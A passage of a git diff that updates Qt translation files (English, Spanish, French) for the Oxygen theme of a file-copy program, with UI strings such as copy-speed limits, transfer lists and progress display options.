- <location filename="../../interface.ui" line="850"/>
- <source>Copy errors</source>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="928"/>
- <source>Interface</source>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="939"/>
- <source>Show speed as main informations</source>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="976"/>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="778"/>
<source>Add file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="985"/>
+ <location filename="../../interface.ui" line="787"/>
<source>Add folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="994"/>
+ <location filename="../../interface.ui" line="796"/>
<source>Move file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1003"/>
+ <location filename="../../interface.ui" line="805"/>
<source>Move folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1012"/>
+ <location filename="../../interface.ui" line="814"/>
<source>Copy file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1021"/>
+ <location filename="../../interface.ui" line="823"/>
<source>Copy folder</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../interface.ui" line="487"/>
- <source>Ctrl+F</source>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="133"/>
- <source>Shutdown when is finish</source>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
<translation type="unfinished"></translation>
</message>
-</context>
-<context>
- <name>options</name>
<message>
- <location filename="../../options.ui" line="20"/>
- <source>Show speed as main informations</source>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../options.ui" line="33"/>
- <source>Start with more button pushed</source>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
<translation type="unfinished"></translation>
</message>
</context>
diff --git a/plugins/Themes/Oxygen/Languages/en/translation.ts b/plugins/Themes/Oxygen/Languages/en/translation.ts
new file mode 100644
index 0000000..717ea08
--- /dev/null
+++ b/plugins/Themes/Oxygen/Languages/en/translation.ts
@@ -0,0 +1,329 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="en">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
+ <source>File Name, 0KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="65"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>&amp;More</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="246"/>
+ <source>&amp;Pause</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="260"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="271"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="621"/>
+ <source>Previous</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="628"/>
+ <source>Next</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="778"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="787"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="796"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="805"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="814"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="823"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/Themes/Oxygen/Languages/es/translation.ts b/plugins/Themes/Oxygen/Languages/es/translation.ts
index 3e9fb5b..a6ded18 100644
--- a/plugins/Themes/Oxygen/Languages/es/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/es/translation.ts
@@ -4,15 +4,84 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="184"/>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation>Comprar la versión Ultimate para financiar el desarrollo</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
<source>File %1/%2, size: %3/%4</source>
<translation>El archivo %1/%2, el tamaño: %3/%4</translation>
</message>
<message>
- <location filename="../../interface.cpp" line="737"/>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation>Lista de copia</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation>Lista de movimiento</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>No cierre si se encuentran errores</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation>Nunca cierre</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation>Siempre cerrar</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
<source>File Name, 0KB</source>
<translation>Nombre de archivo, 0KB</translation>
</message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation>Seleccione un color</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>No cierre si se encuentran errores</translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
+ <translation>Nunca cierre</translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
+ <translation>Siempre cerrar</translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
+ <translation>Seleccione un color</translation>
+ </message>
</context>
<context>
<name>interfaceCopy</name>
@@ -22,179 +91,255 @@
<translation>De:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="69"/>
+ <location filename="../../interface.ui" line="65"/>
<source>To:</source>
<translation>Para:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="196"/>
- <source>0KB/sec</source>
- <translation>0KB/sec</translation>
+ <source>Close at the end of the transfers</source>
+ <translation type="obsolete">Cerca al final de las transferencias</translation>
</message>
<message>
- <location filename="../../interface.ui" line="216"/>
+ <location filename="../../interface.ui" line="226"/>
<source>&amp;More</source>
<translation>&amp;Más</translation>
</message>
<message>
- <location filename="../../interface.ui" line="236"/>
+ <location filename="../../interface.ui" line="246"/>
<source>&amp;Pause</source>
<translation>&amp;Pausa</translation>
</message>
<message>
- <location filename="../../interface.ui" line="250"/>
+ <location filename="../../interface.ui" line="260"/>
<source>&amp;Skip</source>
<translation>&amp;Omitir</translation>
</message>
<message>
- <location filename="../../interface.ui" line="261"/>
+ <location filename="../../interface.ui" line="271"/>
<source>&amp;Cancel</source>
<translation>&amp;Cancelar</translation>
</message>
<message>
- <location filename="../../interface.ui" line="276"/>
- <location filename="../../interface.ui" line="748"/>
<source>Limit copy speed at:</source>
+ <translation type="obsolete">Limitar la velocidad de copia en:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
+ <translation>Cerca de finalización de transferencia</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
<translation>Limitar la velocidad de copia en:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="293"/>
- <source>Unlimited</source>
- <translation>Ilimitado</translation>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
+ <translation>Lista de transferencia</translation>
</message>
<message>
- <location filename="../../interface.ui" line="323"/>
- <source>Copy list</source>
- <translation>Copia la lista</translation>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
+ <translation>Mueve los elementos seleccionados a la parte superior</translation>
</message>
<message>
- <location filename="../../interface.ui" line="591"/>
- <source>Previous</source>
- <translation>Anterior</translation>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
+ <translation>Mueva los elementos seleccionados</translation>
</message>
<message>
- <location filename="../../interface.ui" line="598"/>
- <source>Next</source>
- <translation>Próximo</translation>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
+ <translation>Bajar los elementos seleccionados</translation>
</message>
<message>
- <location filename="../../interface.ui" line="637"/>
- <source>Options</source>
- <translation>Opciones</translation>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
+ <translation>Mueve los elementos seleccionados a la parte inferior</translation>
</message>
<message>
- <location filename="../../interface.ui" line="646"/>
- <source>Copy end</source>
- <translation>Copia final</translation>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
+ <translation>Agregar archivo/carpeta</translation>
</message>
<message>
- <location filename="../../interface.ui" line="667"/>
- <source>At the end of the copy: </source>
- <translation>Al final de la copia: </translation>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
+ <translation>Eliminar los elementos seleccionados</translation>
</message>
<message>
- <location filename="../../interface.ui" line="706"/>
- <source>Don&apos;t close if errors are found</source>
- <translation>No cierre si se encuentran errores</translation>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
+ <translation>Buscar</translation>
</message>
<message>
- <location filename="../../interface.ui" line="711"/>
- <source>Never close</source>
- <translation>Nunca cierre</translation>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
+ <translation>Exportar la lista de transferencias</translation>
</message>
<message>
- <location filename="../../interface.ui" line="716"/>
- <source>Always close</source>
- <translation>Siempre cerrar</translation>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
+ <translation>Importe la lista de transferencias</translation>
</message>
<message>
- <location filename="../../interface.ui" line="727"/>
- <source>Speed limit</source>
- <translation>Límite de velocidad</translation>
+ <location filename="../../interface.ui" line="621"/>
+ <source>Previous</source>
+ <translation>Anterior</translation>
</message>
<message>
- <location filename="../../interface.ui" line="758"/>
- <source> KB/s</source>
- <translation> KB/s</translation>
+ <location filename="../../interface.ui" line="628"/>
+ <source>Next</source>
+ <translation>Próximo</translation>
</message>
<message>
- <location filename="../../interface.ui" line="790"/>
- <source>File collisions</source>
- <translation>Colisiones de archivos</translation>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
+ <translation>Error</translation>
</message>
<message>
- <location filename="../../interface.ui" line="811"/>
- <location filename="../../interface.ui" line="871"/>
- <source>What to do: </source>
- <translation>Qué hacer: </translation>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
+ <translation>Exportar los errores en la lista de transferencias</translation>
</message>
<message>
- <location filename="../../interface.ui" line="850"/>
- <source>Copy errors</source>
- <translation>Errores de copia</translation>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
+ <translation>Fuente</translation>
</message>
<message>
- <location filename="../../interface.ui" line="928"/>
- <source>Interface</source>
- <translation>Interfaz</translation>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
+ <translation>Destino</translation>
</message>
<message>
- <location filename="../../interface.ui" line="939"/>
- <source>Show speed as main informations</source>
- <translation>Mostrar la velocidad como principales informaciones</translation>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
+ <translation>Interfaz</translation>
</message>
<message>
- <location filename="../../interface.ui" line="976"/>
+ <location filename="../../interface.ui" line="778"/>
<source>Add file</source>
<translation>Añadir archivo</translation>
</message>
<message>
- <location filename="../../interface.ui" line="985"/>
+ <location filename="../../interface.ui" line="787"/>
<source>Add folder</source>
<translation>Añadir carpeta</translation>
</message>
<message>
- <location filename="../../interface.ui" line="994"/>
+ <location filename="../../interface.ui" line="796"/>
<source>Move file(s)</source>
<translation>Mover archivo(s)</translation>
</message>
<message>
- <location filename="../../interface.ui" line="1003"/>
+ <location filename="../../interface.ui" line="805"/>
<source>Move folder</source>
<translation>Mueva la carpeta</translation>
</message>
<message>
- <location filename="../../interface.ui" line="1012"/>
+ <location filename="../../interface.ui" line="814"/>
<source>Copy file(s)</source>
<translation>Copia el archivo(s)</translation>
</message>
<message>
- <location filename="../../interface.ui" line="1021"/>
+ <location filename="../../interface.ui" line="823"/>
<source>Copy folder</source>
<translation>Copia la carpeta</translation>
</message>
+</context>
+<context>
+ <name>themesOptions</name>
<message>
- <location filename="../../interface.ui" line="487"/>
- <source>Ctrl+F</source>
- <translation>Ctrl+F</translation>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation>Mostrar progresión dual</translation>
</message>
<message>
- <location filename="../../interface.ui" line="133"/>
- <source>Shutdown when is finish</source>
- <translation>Apagar cuando se termine</translation>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
+ <translation>Mostrar la velocidad como principales informaciones</translation>
</message>
-</context>
-<context>
- <name>options</name>
<message>
- <location filename="../../options.ui" line="20"/>
- <source>Show speed as main informations</source>
- <translation>Mostrar la velocidad como principales informaciones</translation>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation>Uso</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation>Comience con el &quot;botón más&quot; empujada</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation>Minimizar en cerca de la bandeja del sistema</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation>Al final de la copia</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation>Limitar la velocidad de copia de</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
+ <translation>Haga clic para editar el color</translation>
+ </message>
+ <message>
+ <source>At the end of the copy: </source>
+ <translation type="obsolete">Al final de la copia: </translation>
+ </message>
+ <message>
+ <source>Limit copy speed at:</source>
+ <translation type="obsolete">Limitar la velocidad de copia en:</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation> KB/s</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation>Informations</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation>Visualización</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation>Velocidad con barra de progreso</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation>Progresión de color</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
+ <translation>Mostrar progresión en el título</translation>
</message>
<message>
- <location filename="../../options.ui" line="33"/>
- <source>Start with more button pushed</source>
- <translation>Comience con más botón pulsado</translation>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
+ <translation>Siempre visible</translation>
</message>
</context>
</TS>
diff --git a/plugins/Themes/Oxygen/Languages/fr/translation.ts b/plugins/Themes/Oxygen/Languages/fr/translation.ts
index 18396c2..628347d 100644
--- a/plugins/Themes/Oxygen/Languages/fr/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/fr/translation.ts
@@ -4,15 +4,84 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="+184"/>
+ <location filename="../../interface.cpp" line="+240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation>Achetez la version Ultimate pour financer le développement</translation>
+ </message>
+ <message>
+ <location line="+70"/>
<source>File %1/%2, size: %3/%4</source>
<translation>Fichier %1/%2, taille: %3/%4</translation>
</message>
<message>
- <location line="+553"/>
+ <location line="+214"/>
+ <source>Copy list</source>
+ <translation>Liste de copies</translation>
+ </message>
+ <message>
+ <location line="+2"/>
+ <source>Move list</source>
+ <translation>Liste de déplacements</translation>
+ </message>
+ <message>
+ <location line="+421"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>Garder ouvert s&apos;il y a des erreurs</translation>
+ </message>
+ <message>
+ <location line="+1"/>
+ <source>Never close</source>
+ <translation>Ne jamais fermer</translation>
+ </message>
+ <message>
+ <location line="+1"/>
+ <source>Always close</source>
+ <translation>Toujours fermer</translation>
+ </message>
+ <message>
+ <location line="+2"/>
<source>File Name, 0KB</source>
<translation>Nom de fichier, 0Ko</translation>
</message>
+ <message>
+ <location line="+183"/>
+ <location line="+12"/>
+ <location line="+12"/>
+ <source>Select a color</source>
+ <translation>Selectionner une coleur</translation>
+ </message>
+ <message>
+ <location line="+75"/>
+ <location line="+4"/>
+ <location line="+2"/>
+ <source>%1 %2% of %3</source>
+ <translation>%1 de %2% de %3</translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="+223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>Garder ouvert s&apos;il y a des erreurs</translation>
+ </message>
+ <message>
+ <location line="+1"/>
+ <source>Never close</source>
+ <translation>Ne jamais fermer</translation>
+ </message>
+ <message>
+ <location line="+1"/>
+ <source>Always close</source>
+ <translation>Toujours fermer</translation>
+ </message>
+ <message>
+ <location line="+196"/>
+ <location line="+15"/>
+ <location line="+15"/>
+ <source>Select a color</source>
+ <translation>Selectionner une coleur</translation>
+ </message>
</context>
<context>
<name>interfaceCopy</name>
@@ -22,17 +91,16 @@
<translation>Depuis:</translation>
</message>
<message>
- <location line="+34"/>
+ <location line="+30"/>
<source>To:</source>
<translation>Vers:</translation>
</message>
<message>
- <location line="+127"/>
- <source>0KB/sec</source>
- <translation>0Ko/s</translation>
+ <source>Close at the end of the transfers</source>
+ <translation type="obsolete">Fermer à la fin des transferts</translation>
</message>
<message>
- <location line="+20"/>
+ <location line="+161"/>
<source>&amp;More</source>
<translation>Pl&amp;us</translation>
</message>
@@ -52,96 +120,104 @@
<translation>&amp;Annuler</translation>
</message>
<message>
- <location line="+15"/>
- <location line="+472"/>
<source>Limit copy speed at:</source>
+ <translation type="obsolete">Limiter la vitesse de copie à:</translation>
+ </message>
+ <message>
+ <location line="-153"/>
+ <source>Close on transfer completion</source>
+ <translation>Fermer à la fin des transferts</translation>
+ </message>
+ <message>
+ <location line="+168"/>
+ <source>Limit copy speed to:</source>
<translation>Limiter la vitesse de copie à:</translation>
</message>
<message>
- <location line="-455"/>
- <source>Unlimited</source>
- <translation>Illimité</translation>
+ <location line="+43"/>
+ <source>Transfer list</source>
+ <translation>Liste de transferts</translation>
</message>
<message>
- <location line="+30"/>
- <source>Copy list</source>
- <translation>Liste de copie</translation>
+ <location line="+23"/>
+ <source>Move the selected items to the top</source>
+ <translation>Déplacer l&apos;item selectionné au debut</translation>
</message>
<message>
- <location line="+268"/>
- <source>Previous</source>
- <translation>Précedent</translation>
+ <location line="+26"/>
+ <source>Move up the selected items</source>
+ <translation>Déplacer l&apos;item selectionné vers le haut</translation>
</message>
<message>
